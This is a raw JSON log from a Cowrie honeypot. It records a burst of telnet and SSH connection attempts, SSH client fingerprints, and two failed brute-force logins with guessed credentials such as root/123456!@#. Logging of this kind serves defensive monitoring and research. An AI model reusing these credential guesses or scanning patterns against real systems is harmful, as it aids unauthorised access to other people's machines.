{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43082,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2ca7df02ca1","protocol":"telnet","message":"New connection: 213.129.84.225:43082 (159.203.135.109:23) [session: b2ca7df02ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:25.460474Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4bd673dec9d","protocol":"telnet","message":"New connection: 137.184.155.248:35342 (10.17.0.5:23) [session: d4bd673dec9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:28.249236Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56540,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbbeb9b518cd","protocol":"telnet","message":"New connection: 213.129.84.225:56540 (159.203.135.109:23) [session: fbbeb9b518cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:28.404400Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab88a6a24af","protocol":"telnet","message":"New connection: 213.129.84.225:56988 (159.203.135.109:23) [session: 9ab88a6a24af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:28.498660Z"}
{"eventid":"cowrie.session.closed","duration":34.91555070877075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:28.524024Z","src_ip":"213.129.84.225","session":"a585aaab6000","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550938606262207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:29.173680Z","src_ip":"128.199.25.179","session":"9cd47efc6e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0542573928833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:31.103909Z","src_ip":"213.129.84.225","session":"da142101ba46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313297510147095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:31.154110Z","src_ip":"213.129.84.225","session":"b12008ad9bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903924465179443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:33.055918Z","src_ip":"213.129.84.225","session":"ffaa69851830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50458,"dst_ip":"159.203.135.109","dst_port":23,"session":"00ef9e8c5d44","protocol":"telnet","message":"New connection: 213.129.84.225:50458 (159.203.135.109:23) [session: 00ef9e8c5d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:33.335521Z"}
{"eventid":"cowrie.session.closed","duration":31.715827465057373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:34.698442Z","src_ip":"213.129.84.225","session":"32eafd5769dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45456,"dst_ip":"159.203.135.109","dst_port":23,"session":"89ea32dfffea","protocol":"telnet","message":"New connection: 213.129.84.225:45456 (159.203.135.109:23) [session: 89ea32dfffea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:35.215357Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a943071d6790","protocol":"telnet","message":"New connection: 137.184.155.248:51686 (10.17.0.5:23) [session: a943071d6790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:35.221801Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33332,"dst_ip":"159.203.135.109","dst_port":23,"session":"f580284b0406","protocol":"telnet","message":"New connection: 213.129.84.225:33332 (159.203.135.109:23) [session: f580284b0406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:35.676646Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35088,"dst_ip":"159.203.135.109","dst_port":23,"session":"b585c72621c0","protocol":"telnet","message":"New connection: 213.129.84.225:35088 (159.203.135.109:23) [session: b585c72621c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:36.038984Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36398,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a7795962ef","protocol":"telnet","message":"New connection: 213.129.84.225:36398 (159.203.135.109:23) [session: 68a7795962ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:36.356776Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"b974aa24bd88","protocol":"telnet","message":"New connection: 213.129.84.225:36946 (159.203.135.109:23) [session: b974aa24bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:36.467646Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51702,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f7d4aec2ce9","protocol":"telnet","message":"New connection: 137.184.155.248:51702 (10.17.0.5:23) [session: 3f7d4aec2ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:36.578685Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39924,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3107058dcfe","protocol":"telnet","message":"New connection: 213.129.84.225:39924 (159.203.135.109:23) [session: c3107058dcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:37.063571Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46946,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f23464e6b5","protocol":"telnet","message":"New connection: 213.129.84.225:46946 (159.203.135.109:23) [session: e6f23464e6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:38.554031Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49624,"dst_ip":"159.203.135.109","dst_port":23,"session":"9508f36fd98a","protocol":"telnet","message":"New connection: 213.129.84.225:49624 (159.203.135.109:23) [session: 9508f36fd98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:39.137140Z"}
{"eventid":"cowrie.session.closed","duration":49.242605209350586,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:39.722856Z","src_ip":"137.184.155.248","session":"7d09a1bd1ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"b520c07cd2bc","protocol":"telnet","message":"New connection: 213.129.84.225:48488 (159.203.135.109:23) [session: b520c07cd2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:39.897435Z"}
{"eventid":"cowrie.session.closed","duration":30.61422109603882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:41.183348Z","src_ip":"213.129.84.225","session":"0ad63e155464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082364797592163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:41.647304Z","src_ip":"213.129.84.225","session":"0ccd5b4ec1d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.88914155960083,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:42.250507Z","src_ip":"137.184.155.248","session":"eef24deafdff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712087869644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:43.100227Z","src_ip":"213.129.84.225","session":"2c6981a44c00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17532181739807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:43.258196Z","src_ip":"213.129.84.225","session":"6f25462dc370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":58405,"dst_ip":"159.203.135.109","dst_port":22,"session":"77232dd4c3ff","protocol":"ssh","message":"New connection: 103.86.180.10:58405 (159.203.135.109:22) [session: 77232dd4c3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:43.546310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:43.550089Z","src_ip":"103.86.180.10","session":"77232dd4c3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:43.744337Z","src_ip":"103.86.180.10","session":"77232dd4c3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35886240005493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:44.047866Z","src_ip":"213.129.84.225","session":"edb5e162335e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123123123","message":"login attempt [ftpuser/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:44.552865Z","src_ip":"103.86.180.10","session":"77232dd4c3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51158,"dst_ip":"159.203.135.109","dst_port":23,"session":"399a211ed7e2","protocol":"telnet","message":"New connection: 213.129.84.225:51158 (159.203.135.109:23) [session: 399a211ed7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:45.375868Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51490,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e1715eaaa9f","protocol":"telnet","message":"New connection: 213.129.84.225:51490 (159.203.135.109:23) [session: 6e1715eaaa9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:45.432494Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51652,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57401040223","protocol":"telnet","message":"New connection: 213.129.84.225:51652 (159.203.135.109:23) [session: e57401040223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:45.461890Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:45.750302Z","src_ip":"103.86.180.10","session":"77232dd4c3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36316,"dst_ip":"10.17.0.5","dst_port":23,"session":"996c55599755","protocol":"telnet","message":"New connection: 137.184.155.248:36316 (10.17.0.5:23) [session: 996c55599755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:45.845474Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54460,"dst_ip":"159.203.135.109","dst_port":23,"session":"f675551b6338","protocol":"telnet","message":"New connection: 213.129.84.225:54460 (159.203.135.109:23) [session: f675551b6338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:46.080923Z"}
{"eventid":"cowrie.session.closed","duration":31.51307725906372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:46.953501Z","src_ip":"213.129.84.225","session":"fc969d82f354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":32782,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ca7364d25bb","protocol":"telnet","message":"New connection: 213.129.84.225:32782 (159.203.135.109:23) [session: 3ca7364d25bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:47.456479Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56402,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a737f96dbcf","protocol":"telnet","message":"New connection: 213.129.84.225:56402 (159.203.135.109:23) [session: 7a737f96dbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:47.528626Z"}
{"eventid":"cowrie.session.closed","duration":30.479427576065063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:48.139640Z","src_ip":"213.129.84.225","session":"f54b76e658ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37054,"dst_ip":"159.203.135.109","dst_port":23,"session":"423939b4a280","protocol":"telnet","message":"New connection: 213.129.84.225:37054 (159.203.135.109:23) [session: 423939b4a280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:49.371001Z"}
{"eventid":"cowrie.session.closed","duration":31.226094961166382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:50.258974Z","src_ip":"213.129.84.225","session":"1eeb20a48209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46162,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fa540bde39","protocol":"telnet","message":"New connection: 213.129.84.225:46162 (159.203.135.109:23) [session: 11fa540bde39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:50.302679Z"}
{"eventid":"cowrie.session.closed","duration":31.050026655197144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:50.370078Z","src_ip":"213.129.84.225","session":"82c32f6ab230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52620,"dst_ip":"10.17.0.5","dst_port":23,"session":"134655510725","protocol":"telnet","message":"New connection: 137.184.155.248:52620 (10.17.0.5:23) [session: 134655510725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:52.618089Z"}
{"eventid":"cowrie.session.closed","duration":30.92885422706604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:53.122054Z","src_ip":"213.129.84.225","session":"8a5f0eb406b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35894,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac5c5ce12ab","protocol":"telnet","message":"New connection: 213.129.84.225:35894 (159.203.135.109:23) [session: 5ac5c5ce12ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:55.002959Z"}
{"eventid":"cowrie.session.closed","duration":30.283092498779297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:55.068507Z","src_ip":"213.129.84.225","session":"7a0bcf25fbc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44316,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a084acd7fd1","protocol":"telnet","message":"New connection: 213.129.84.225:44316 (159.203.135.109:23) [session: 7a084acd7fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:55.803108Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45249,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9aa7edafe9c","protocol":"telnet","message":"New connection: 213.129.84.225:45249 (159.203.135.109:23) [session: f9aa7edafe9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:56.032670Z"}
{"eventid":"cowrie.session.closed","duration":30.86167335510254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:56.322049Z","src_ip":"213.129.84.225","session":"b2ca7df02ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":54276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a94a11ac5c07","protocol":"ssh","message":"New connection: 202.125.94.71:54276 (159.203.135.109:22) [session: a94a11ac5c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:56.464135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:56.468399Z","src_ip":"202.125.94.71","session":"a94a11ac5c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:56.728096Z","src_ip":"202.125.94.71","session":"a94a11ac5c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52910,"dst_ip":"159.203.135.109","dst_port":23,"session":"a448cd1e6f5b","protocol":"telnet","message":"New connection: 213.129.84.225:52910 (159.203.135.109:23) [session: a448cd1e6f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:57.604590Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!@#","message":"login attempt [root/123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:57.797249Z","src_ip":"202.125.94.71","session":"a94a11ac5c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.95899271965027,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:58.231961Z","src_ip":"137.184.155.248","session":"ed978e3815c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"680d9a1fc7ee","protocol":"telnet","message":"New connection: 213.129.84.225:59310 (159.203.135.109:23) [session: 680d9a1fc7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:58.928635Z"}
{"eventid":"cowrie.session.closed","duration":30.544774532318115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:59.043338Z","src_ip":"213.129.84.225","session":"9ab88a6a24af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:59.060586Z","src_ip":"202.125.94.71","session":"a94a11ac5c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60024,"dst_ip":"159.203.135.109","dst_port":23,"session":"833426f91a92","protocol":"telnet","message":"New connection: 213.129.84.225:60024 (159.203.135.109:23) [session: 833426f91a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:59.106980Z"}
{"eventid":"cowrie.session.closed","duration":30.71744203567505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:59.121698Z","src_ip":"213.129.84.225","session":"fbbeb9b518cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.99520921707153,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:59.205067Z","src_ip":"137.184.155.248","session":"62dcd5235a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":40246,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b899de2b21","protocol":"telnet","message":"New connection: 207.148.4.7:40246 (159.203.135.109:23) [session: 85b899de2b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:21:59.547105Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":40254,"dst_ip":"159.203.135.109","dst_port":23,"session":"385d89b8b82a","protocol":"telnet","message":"New connection: 207.148.4.7:40254 (159.203.135.109:23) [session: 385d89b8b82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.068037Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":55805,"dst_ip":"159.203.135.109","dst_port":22,"session":"52613e5ba350","protocol":"ssh","message":"New connection: 193.24.211.95:55805 (159.203.135.109:22) [session: 52613e5ba350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.303280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.308939Z","src_ip":"193.24.211.95","session":"52613e5ba350","protocol":"ssh"}
